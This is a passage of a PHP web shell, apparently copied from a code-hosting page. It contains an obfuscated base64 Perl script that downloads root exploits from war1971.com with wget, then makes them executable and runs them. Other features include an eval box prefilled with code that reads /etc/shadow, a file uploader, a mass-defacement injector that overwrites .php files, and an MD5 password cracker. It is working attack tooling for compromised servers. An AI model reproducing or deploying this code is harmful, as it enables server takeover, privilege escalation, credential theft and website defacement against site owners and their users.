  1029. IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8yNjgi
  1030. KTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyNjgiKTsgDQpzeXN0ZW0oIi4vMjY4Iik7IA0KcHJpbnQg
  1031. IklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyANCnN5c3RlbSgid2dldCBodHRw
  1032. Oi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvMjAwOCIpOyANCnN5c3RlbSgiY2htb2Qg
  1033. Nzc3IDIwMDgiKTsgDQpzeXN0ZW0oIi4vMjAwOCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAi
  1034. SWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7ICANCnN5c3RlbSgid2dldCBodHRw
  1035. Oi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvMjAwOXguYyIpOyANCnN5c3RlbSgiZ2Nj
  1036. IDIwMDl4LmMgLW8gMjAwOXgiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAwOXgiKTsgDQpzeXN0
  1037. ZW0oIi4vMjAwOXgiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3Ag
  1038. eHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNf
  1039. RklMRVMvZmlsZS9jYy8yMDA5eHgiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAwOXh4Iik7IA0K
  1040. c3lzdGVtKCIuLzIwMDl4eCIpOyANCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgiaWQiKTsgDQpwcmlu
  1041. dCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0
  1042. dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8yLjYuOS01NS0yMDA3LXBydjgiKTsg
  1043. DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA3LXBydjgiKTsgDQpzeXN0ZW0oIi4vMi42
  1044. LjktNTUtMjAwNy1wcnY4Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi8yLjYuOS01NS0y
  1045. MDA3LXBydjgiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2
  1046. OCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBj
  1047. dHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmls
  1048. ZS9jYy8xOCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyAxOCIpOyANCnN5c3RlbSgiLi8xOCIpOyAN
  1049. CnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxF
  1050. Uy9maWxlL2NjLzgiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgOCIpOyANCnN5c3RlbSgiLi84Iik7
  1051. IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJ
  1052. TEVTL2ZpbGUvY2MvZHoiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgZHoiKTsgDQpzeXN0ZW0oIi4v
  1053. ZHoiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9D
  1054. TVNfRklMRVMvZmlsZS9jYy94ODYiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgeDg2Iik7IA0Kc3lz
  1055. dGVtKCIuL3g4NiIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5
  1056. NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2xvbCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBsb2wi
  1057. KTsgDQpzeXN0ZW0oIi4vbG9sIik7IA0Kc3lzdGVtKCJpZCIpOyANCn0=";
  1058. $fd = fopen("r00t.pl","w");
  1059. if ($fd != FALSE)
  1060. {
  1061. fwrite($fd,base64_decode($r00t));
  1062. $out = exec_all("perl r00t.pl;");
  1063. if ($out != "")
  1064. {
  1065. $cmd_out = exec_all("whoami");
  1066. if ($cmd_out != "")
  1067. {
  1068. if (strpos($cmd_out == 'root') !== false)
  1069. echo "<p class='alert_green'>You are ".trim(exec_all("whoami"))."</p>";
  1070. else
  1071. echo "<p class='alert_red'>You are ".trim(exec_all("whoami"))."</p>";
  1072. }
  1073. else
  1074. {
  1075. echo "<p class='alert_red'>Rooting Failed</p>";
  1076. }
  1077. }
  1078. }
  1079. else
  1080. {
  1081. echo "<p class='alert_red'>Permission Denied</p>";
  1082. }
  1083. ?>
  1084. <?php
  1085. }
  1086. // PHP evaluate
  1087. else if(isset($_GET['eval']))
  1088. {
  1089. ?>
  1090. <form method="POST">
  1091. <textarea name="code" class="cmd" cols="100" rows="20"><?php
  1092. // If the comand was sent
  1093. if(isset($_POST['code'])
  1094. && $_POST['code']
  1095. )
  1096. {
  1097. // Filter Some Chars we dont need
  1098. $code = str_replace("<?php","",$_POST['code']);
  1099. $code = str_replace("<?","",$code);
  1100. $code = str_replace("?>","",$code);
  1101. // Evaluate PHP CoDE!
  1102. echo htmlspecialchars(eval($code));
  1103. }
  1104. else
  1105. {
  1106. ?>echo file_get_contents('/etc/shadow');<?php
  1107. }
  1108. ?></textarea><br /><br />
  1109. <input name="submit" value="Eval That COde! :D" class="own" type="submit" />
  1110. </form>
  1111. <?php
  1112. }
  1113. // Upload
  1114. else if(isset($_GET['upload']))
  1115. {
  1116. if (isset($_POST['file']) &&
  1117. isset($_POST['path'])
  1118. )
  1119. {
  1120. $path = $_POST['path'];
  1121. if($path[(strlen($path)-1)] != $SEPARATOR){$path = $path.$SEPARATOR;}
  1122. if(is_dir($path))
  1123. {
  1124. $uploadedFilePath = $_FILES['file']['name'];
  1125. $tempName = $_FILES['file']['tmp_name'];
  1126. $uploadPath = $path . $uploadedFilePath;
  1127. $stat = move_uploaded_file($tempName , $uploadedFilePath);
  1128. if ($stat)
  1129. {
  1130. echo "<p class='alert_green'>File uploaded to $uploadPath</p>";
  1131. }
  1132. else
  1133. {
  1134. echo "<p class='alert_red'>Failed to upload file to $uploadPath</p>";
  1135. }
  1136. }
  1137. }
  1138. else
  1139. {
  1140. ?>
  1141. <table class="bind" align="center" >
  1142. <tr>
  1143. <th class="header" colspan="1" width="50px">Upload (From ur Computer)</th>
  1144. </tr>
  1145. <tr>
  1146. <td>
  1147. <table style="border-spacing: 6px;">
  1148. <form method="POST" enctype="multipart/form-data">
  1149. <tr>
  1150. <td width="100"><input type="file" name="file"/></td>
  1151. <td><input type="submit" name="file" class="own" value="Upload"/></td>
  1152. </tr>
  1153. <tr>
  1154. <td colspan="2">
  1155. <input class='cmd' style="width: 280px;" name='path' value="<?php echo getcwd(); ?>" />
  1156. </td>
  1157. </tr>
  1158. </form>
  1159. </table>
  1160. </td>
  1161. </tr>
  1162. </table>
  1163. <?php
  1164. }
  1165. }
  1166. // Code Injector
  1167. else if(isset($_GET['injector']))
  1168. {
  1169. if(isset($_GET['dir']) &&
  1170. $_GET['dir'] != '' &&
  1171. isset($_GET['filetype']) &&
  1172. $_GET['filetype'] != '' &&
  1173. isset($_GET['mode']) &&
  1174. $_GET['mode'] != '' &&
  1175. isset($_GET['message']) &&
  1176. $_GET['message'] != ''
  1177. )
  1178. {
  1179. $dir = $_GET['dir'];
  1180. $filetype = $_GET['filetype'];
  1181. $message = $_GET['message'];
  1182. $mode = "a"; //default mode
  1183. // Modes Begin
  1184. if($_GET['mode'] == 'Apender')
  1185. {
  1186. $mode = "a";
  1187. }
  1188. if($_GET['mode'] == 'Overwriter')
  1189. {
  1190. $mode = "w";
  1191. }
  1192. if($handle = opendir($dir))
  1193. {
  1194. ?>
  1195. Overwritten Files :-
  1196. <ul style="padding: 10px;" >
  1197. <?php
  1198. while(($file = readdir($handle)) !== False)
  1199. {
  1200. if((preg_match("/$filetype".'$'.'/', $file , $matches) != 0) && (preg_match('/'.$file.'$/', $self , $matches) != 1))
  1201. {
  1202. ?>
  1203. <li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li>
  1204. <?php
  1205. echo "\n";
  1206. $fd = fopen($dir.$file,$mode);
  1207. if (!$fd) echo "<p class='alert_red'>Permission Denied</p>"; break;
  1208. fwrite($fd,$message);
  1209. }
  1210. }
  1211. ?>
  1212. </ul>
  1213. <?php
  1214. }
  1215. }
  1216. else
  1217. {
  1218. ?>
  1219. <table id="margins" >
  1220. <tr>
  1221. <form method='GET'>
  1222. <input type="hidden" name="injector"/>
  1223. <tr>
  1224. <td width="100" class="title">
  1225. Directory
  1226. </td>
  1227. <td>
  1228. <input class="cmd" name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" />
  1229. </td>
  1230. </tr>
  1231. <tr>
  1232. <td class="title">
  1233. Mode
  1234. </td>
  1235. <td>
  1236. <select style="width: 400px;" name="mode" class="cmd">
  1237. <option value="Apender">Apender</option>
  1238. <option value="Overwriter">Overwriter</option>
  1239. </select>
  1240. </td>
  1241. </tr>
  1242. <tr>
  1243. <td class="title">
  1244. File Type
  1245. </td>
  1246. <td>
  1247. <input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value=='')this.value='.php';" />
  1248. </td>
  1249. </tr>
  1250. <tr>
  1251. <td colspan="2">
  1252. <textarea name="message" cols="110" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea>
  1253. </td>
  1254. </tr>
  1255. <tr>
  1256. <td rowspan="2">
  1257. <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Inject :D"/>
  1258. </td>
  1259. </tr>
  1260. </form>
  1261. </table>
  1262. <?php
  1263. }
  1264. }
  1265. // MD5 Cracker
  1266. else if(isset($_GET['md5']))
  1267. {
  1268. if(isset($_GET['hash']) &&
  1269. isset($_GET['passwdList']) &&
  1270. $_GET['hash'] != '' &&
  1271. $_GET['passwdList'] != '')
  1272. {
  1273. echo md5Crack($_GET['hash'],$_GET['passwdList']);
  1274. }
  1275. else
  1276. {
  1277. ?>
  1278. <table id="margins" >
  1279. <tr>
  1280. <form method='GET'>
  1281. <input type="hidden" name="md5" />
  1282. <tr>
  1283. <td width="100" class="title">
  1284. Hash
  1285. </td>
  1286. <td>
  1287. <input class="cmd" name="hash"/>
  1288. </td>
  1289. </tr>
  1290. <tr>
  1291. <td class="title">
  1292. Password List (File Path)
  1293. </td>
  1294. <td>
  1295. <input class="cmd" name="passwdList" value="<?php echo getcwd().$SEPARATOR; ?>" />
  1296. </td>
  1297. </tr>
  1298. <tr>
  1299. <tr>
  1300. <td rowspan="2">
  1301. <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Lets Crack :D"/>
  1302. </td>

Large files files are truncated, but you can click here to view the full file